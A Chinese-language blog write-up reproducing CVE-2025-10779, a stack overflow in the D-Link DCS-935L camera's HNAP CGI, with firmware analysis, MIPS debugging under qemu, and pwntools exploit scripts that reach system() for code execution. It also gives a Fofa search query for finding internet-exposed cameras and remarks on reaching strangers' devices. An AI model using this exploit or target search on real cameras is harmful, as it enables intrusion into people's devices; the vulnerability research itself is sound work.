简单介绍

CVE-2025-10779
这个洞来自D-Link的DCS-935L小型摄像头, 是个比较简单的栈溢出漏洞, 利用起来不是很难, 但在环境搭建这里花了较多时间

资产探测信息搜集

Fofa

https://fofa.info/

资产探测
家用摄像头某些服务会映射到公网去, 用这个网站可以搜到, 但考虑到家用摄像头的 ip 会经常变动, 所以在搜索的时候大致过滤一下, 只看近一个月的

app="D_Link-DCS-935L" && after="2026-02-28"

搜出来的数量大概只有 1/10 能有二进制漏洞的利用, 但 web 会比较多, 大概 1/2
这个环节只有实际自己挖的时候会用到, 复现的时候可以不管哈哈

固件获取

大概是做逆向分析, 但首先要拿到它的固件. 通常是直接上网搜

型号 + firmware 

或者直接这个

https://files.dlink.com.au/

下载到这个 bin 文件
之后用 binwalk 提取 (这个 binwalk 的安装配置也是花了我好多时间啊)

https://github.com/ReFirmLabs/binwalk

这个binwalk变成了docker安装的了, 转好之后我封装了一下使用的命令, 在~/.bashrc 加上即可

alias bw='sudo docker run --rm -t -v "$PWD":/analysis binwalkv3'

分离完了之后基本上就是一个一个 cgi 慢慢看了
而且你甚至能去访问别人这个摄像头的 cgi 服务, 拿这个为例子

访问
会输出这么一大坨东西, 接下来就是对这些 cgi 去一个个进行分析. 直接拖到 ida 里面看, 这里也是比较熟悉的东西了, 去找有没有什么漏洞点. 大致经过一轮分析, 在 sub_402280 下找到了这样一个 strcpy
第一个参数是 haystack, 是一个栈上的临时变量

char haystack[256]; // [sp+64h] [-40Ch] BYREF

第二个参数是 env ,来自 env = getenv("HNAP_AUTH"); 由 cgi 的特性, 这个是用户可控的. 跟 cookie 排在一起, 就是 http 请求头里的东西.

接着来找一下调用这个函数的函数
发现是从 main 函数来的, 这里给这个函数重命名了一下.
大概看了一下, 这里做了一个请求方法的判断, 假如用的是 post 方法就能进入第一个 if 分支
若是请求头里面存在 SOAP_ACTION 的话就继续进入下一个 if 分支
要使得 CONTENT_LENGTH < 0x20000, 接着就能到存在栈溢出漏洞的这个函数里面. 注意到这个危险函数的第一个参数是一个 xml 路径, 63 行这里的 fopen 使得即使这个文件不存在, 也会自动创建

接着我们来看这个 DANGER_FUNC
开头那几行大概是做了这些

  • ixmlLoadDocument:读取传进来的 XML 文件。
  • ixmlGetElementByTag(..., "soap:Body"):在 XML 树里寻找名为 <soap:Body> 的节点。
  • ixmlNode_getFirstChild:获取 <soap:Body> 里面的第一个子节点
  • ixmlNode_getLocalName:获取这个子节点的 标签名。
    为了能顺利通过下面的 strcpy, 这里 LocalName 也不能为空, 接着只要让 LocalName 不为
GetMultipleHNAPs
PushDCHEvent
PushDCHEventList
Login
DoAction

就能到继续接近有栈溢出问题的 strcpy 函数. 最后只剩下一个 if 判断了
只需要让 HNAP_AUTH 和 COOKIE 不为空即可.

总结一下, 我们需要构造这样的 soap 请求和环境变量就行

soap = b'<?xml version="1.0" encoding="utf-8"?>\r\n'
soap += b'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n'
soap += b'<soap:Body><' +b'aaaa' + b'>' + b'114514' + b'</aaaa>' +b'</soap:Body>\r\n'
soap += b'</soap:Envelope>'

REQUEST_METHOD=POST
SOAP_ACTION=1
CONTENT_LENGTH=soap
HNAP_AUTH="AAAA" // 这一段是我们的payload
COOKIE=1

调试

因为这个是 mips 架构的, 所以需要借助 qemu 的帮助. 这里也是花了我好多时间啊
先是 whereis qemu-mips-static 把需要的 elf 拷过来. 现在根目录的的结构是这样的
然后使用 chroot . 将这个目录伪装成系统根目录, 然后用 qemu-mips-static 来启动需要进行调试的 elf, 完整命令如下

sudo chroot . /qemu-mips-static -g 1234 ./web/cgi-bin/hnap/hnap_service 

-g 1234 是为了通过 1234 端口能让 gdb 进行远程调试, 随后 gdb 启动

target remote 127.0.0.1:1234

即可, 下个断点然后 continue 即可
正常连接上了, 但这里我忘记先设定环境变量再进来了. 我是一个究极懒人, 懒得一个个输入 export xxx=xxx, 所以直接 pwntools 启动

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./web/cgi-bin/hnap/hnap_service')
context.binary = elf

soap = b'<?xml version="1.0" encoding="utf-8"?>\r\n'
soap += b'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n'
soap += b'<soap:Body><' +b'aaaa' + b'>' + b'114514' + b'</aaaa>' +b'</soap:Body>\r\n'
soap += b'</soap:Envelope>'

payload = b'a'*0x50

env_vars = [
b"REQUEST_METHOD=POST",
b"SOAP_ACTION=1",
b"CONTENT_LENGTH=" + str(len(soap)).encode(),
b"HNAP_AUTH=" + payload,
b"COOKIE=AAAAAAAA",
]

cmd = ["unshare", "-r", "chroot", ".", "/qemu-mips-static", "-g", "1234"]

for e in env_vars:
cmd += ["-E", e]
cmd += ["./web/cgi-bin/hnap/hnap_service"]

io = process(cmd)

gdb_cmds = '''
b *0x00402930
'''

gdb.attach(
('127.0.0.1', 1234),
gdbscript=gdb_cmds,
exe="./web/cgi-bin/hnap/hnap_service",
gdb_args=[
"-q",
"-ex", "set architecture mips",
"-ex", "set mips abi o32",
])

io.sendlineafter("===========HNAP REQUEST==========",soap)

io.interactive()

各种踩坑

返回地址劫持

这是我踩了很久坑才搓出来的脚本… Payload 这里是随便造的, mips 架构和平时熟悉的 x86/x64 不一样, 函数的返回地址是存放在 $ra 寄存器里面的. 查看函数的汇编代码
不难发现在函数的开头有段这样的汇编

sw      $ra, 0x470+var_s24($sp)

这段汇编指令的作用是把 ra 寄存器中的返回地址放到了栈上, 也不难发现函数中每个 return 的地方都会指向这一段汇编
正是取回存放在栈上的返回地址, 最后跳转, 所以只需要利用栈溢出精确覆盖掉这个返回地址就可以劫持程序流了, 比较麻烦的是, 这个貌似没办法像 x86/x64 那样直接劫持 strcpy 等函数的返回地址, gdb 看了一眼, strcpy 的汇编长这样

   0x3fe53760 <+0>:     move    v0,a0
   0x3fe53764 <+4>:     addiu   a0,a0,-1
   0x3fe53768 <+8>:     subu    a0,a0,a1
   0x3fe5376c <+12>:    lb      v1,0(a1)
   0x3fe53770 <+16>:    addiu   a1,a1,1
   0x3fe53774 <+20>:    addu    a2,a1,a0
=> 0x3fe53778 <+24>:    bnez    v1,0x3fe5376c <strcpy+12>
   0x3fe5377c <+28>:    sb      v1,0(a2)
   0x3fe53780 <+32>:    jr      ra
   0x3fe53784 <+36>:    nop

非常的安全, 最后的 jr      ra 也是原来的返回地址. 所以我们就只能劫持栈上存放的 sub_402280 的返回地址了. Gdb 来看看 payload 需要怎么构造
这里确实存放的是 sub_402280 的返回地址
简单计算下需要填充多少字节
是一共需要 0x430 字节的
回到栈溢出这个地方, 我们正好可以利用这段
来进行返回. 我们还是需要对 payload 进行构造, 防止在后续的 strcpy 中卡住, 也就是需要两个 " " 就行, 这里我构造了这样一段 payload

payload = b'a'*0x434 + b' '+ b'bbbb' + b' '  + b'cccc'

效果如下
意料之中的跳转到 0x61616161 了, 接下来就是找 gadget, 程序中自带 system, 只需要给寄存器传参数就可以了.

如何正确覆盖返回地址

这一步卡了非常非常久啊, 因为我发现这个 elf 是大端序的, 而且我们的 payload 是通过环境变量进行传递的, 也就是不能有 \x00 ,也就是说没法正常的把返回地址覆盖成 elf 内的返回地址, 因为他们都只有 3 字节, 这里就需要用到前面的 strtok
还记得前面的

dest_1 = strtok(haystack, " ");

吗, 他会把这个字符串中的 " " 变成 \0, 这样地址的问题就解决了.

能把程序流劫持到哪里?

再然后就是我还发现 mips 做起来比 x86/64 的难多了, 因为 mips 是通过 jr ra 来进行跳转的, 不能像 x86/64 那样能找到后面跟着 ret 的 gadget. 而且劫持程序流还有很大的限制, 我们随便找个 system 函数来看一下
根据上面的结论构造出这样一段 payload

payload = b'a'*(0x430) + b' '
payload += b'\x41\x9f\x98'

Gdb 启动
由于 mips 的指令长度只有 32 位, 没法直接塞入 32 位的绝对地址, 依赖 $gp 寄存器来访问全局变量和函数地址, 而对 $gp 是与 $sp 有关的.
简单说就是, 我们能劫持程序流, 但只能劫持到当前函数的被调用函数中, 通俗点说就是这个程序的 main 函数调用了存在栈溢出漏洞的函数 sub_402280, 我能通过栈溢出来劫持程序执行流, 但只能回到 main 函数范围中的某个地方, 例如 main 函数从 0x00402AC0 开始, 到 0x004034BC 结束, 我就只能回到这个范围之内, 不然在调用函数的时候 $gp 就会取到一些奇怪的值, 导致崩溃

不过好在开发者在 main 函数中用到了这样一个 system

参数传递

然后是参数传递的问题
可以看到 ida 把 jalr $t9 # system 后面的一行指令 move $a0, $s0 加上了一个 # command 的注释, mips 是通过 a0, a1, a2, a3 寄存器进行传参的, 后续还有多的话就用栈, 但这里就很反直觉
虽然 move 在物理位置上排在 jalr 后面,但在 MIPS 的流水线执行逻辑中,move $a0, $s0 会在进入 system 函数内部的第一条指令之前执行完毕。所以,这实际上是在给 system 函数传参。参数 $a0 就在这一刻被赋值了。
配合这里能对 $s0 进行赋值操作, 这样传参的问题就解决了. 但是我们要传入的是 /bin/sh 所在的地址, 目前为止能传能写入 /bin/sh 的只有各种环境变量, 但是他们最终都是存放在栈上的, 地址非常不稳定
所以就只剩下这里的从 stdin 输入的点
经过了前面的分析我们也得知了这里是要构造一段 soap 请求, 需要符合后面的
简单测试一下
虽然前面的 fread(s, 1u, n0x20000, stdin); 是往一个 4 字节的地址上输入的, 但是后面写入到文件之后就被清零了
继续往下看
跟 gpt 老师深入交流了一番, 发现这里有可以利用的点, 我们构造的 soap 请求经过这几行的之后大概是会变成这样的一个结构

Document  
└── soap:Envelope
└── soap:Body
└── Action <- FirstChild / v8 指向这个元素节点
└── "114514114514" <- 这里才是文本内容

这里各自是:

  • ElementByTag<soap:Body>
  • FirstChild<Action>
  • v8 → 克隆出来的 <Action>
  • LocalName"Action"
    114514114514 是:
  • v8 这个 <Action> 节点的子节点内容
  • 更准确说,是 <Action> 的 first child text node 的值
    也就是如果继续取,通常会像这样:
Text = ixmlNode_getFirstChild (v8);      // text node  
Value = ixmlNode_getNodeValue (text); // "114514114514"

也就是说会在内存中有残留, 这里不知道为什么 gdb 的 find 和 search 用不了, 直接上 ida 暴力搜
简单提一嘴 ida 怎么调
Hostname 填入主机 ip, 后面 port 就是启动的时候 -g 后面的那个. 在这段内存的附近
发现了很熟悉的东西, 这不是我们造的 soap 请求里面的东西吗

soap += b'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n'

大概能推断出, 这里应该是类似堆段的东西, 程序运行时分配的一段可读写的内存, 而且地址比较稳定, 直接用这里装 system() 的参数就行

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch='mips', log_level = 'debug',os = 'linux')

elf = ELF('./web/cgi-bin/hnap/hnap_service')
context.binary = elf


soap = b'<?xml version="1.0" encoding="utf-8"?>\r\n'
soap += b'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\r\n'
soap += b'<soap:Body><Action>' + b'aals;#' + b'</Action>' +b'</soap:Body>\r\n'
soap += b'</soap:Envelope>'

payload = b'a'*(0x430 - 0x24)+ b' ' +b'\x43\x12\x2d' +b'a'*(0x20)+ b' '
payload += b'\x40\x33\xe8'

env_vars = [
b"REQUEST_METHOD=POST",
b"SOAP_ACTION=1",
b"CONTENT_LENGTH=" + str(len(soap)).encode(),
b"HNAP_AUTH=" + payload,
b"COOKIE=uid=1234567890a",
]

cmd = ["unshare", "-r", "chroot", ".", "/qemu-mips-static","-L",".","-strace", "-g", "1234"]

for e in env_vars:
cmd += ["-E", e]
cmd += ["./web/cgi-bin/hnap/hnap_service"]

io = process(cmd)

gdb_cmds = '''
b *0x004033e8
b *0x00402B80
b *0x004033CC
'''

gdb.attach(
('127.0.0.1', 1234),
gdbscript=gdb_cmds,
exe="./web/cgi-bin/hnap/hnap_service",
gdb_args=[
"-q",
"-ex", "set architecture mips",
"-ex", "set mips abi o32",
])

io.sendlineafter("===========HNAP REQUEST==========",soap)

io.interactive()

也是成功 RCE 了.

qemu 睡着了, 我也睡着了

这里有个大坑, 其实早就 “RCE” 了, 但是总是看不到 ls 的结果, 于是在 qemu 启动的时候多加一个参数

-strace

在执行 system() 的时候看到这样一句. 然后就开始了漫长的网络搜索和 ai 问答环节. 最后也是解决了, 是 qemu 的问题, 做了点操作让宿主机内核遇到 MIPS ELF 时自动调用 qemu

hnap_service (MIPS, 在 qemu 里跑)  
└── system("/bin/sh")
└── execve("/bin/sh") ← 这里失败

之前是到 excve 这里就挂了, 内核尝试执行 /bin/sh, 但宿主机内核不会执行 MIPS ELF , 又没有 binfmt_misc 规则帮你自动调用 qemu, 所以直接返回 ENOENT (No such file or directory)

sudo apt install qemu-user-static binfmt-support
sudo update-binfmts --enable qemu-mips

然后在固件的根目录下

mkdir -p ./usr/libexec/qemu-binfmt
cp /usr/libexec/qemu-binfmt/mips-binfmt-P ./usr/libexec/qemu-binfmt/
chmod +x ./usr/libexec/qemu-binfmt/mips-binfmt-P

然后就可以了

参考:

https://nvd.nist.gov/vuln/detail/CVE-2025-10779
https://www.bilibili.com/video/BV19VAUzUEL6/?spm_id_from=333.337.search-card.all.click&vd_source=b005ec5af584b4ef1ded2a09167f88a7
https://www.bilibili.com/video/BV1SjAcz3ExD/?spm_id_from=333.788.recommend_more_video.-1&trackid=web_related_0.router-related-2479604-pxdwc.1774943427358.8&vd_source=b005ec5af584b4ef1ded2a09167f88a7
https://bbs.kanxue.com/thread-290519.htm?style=1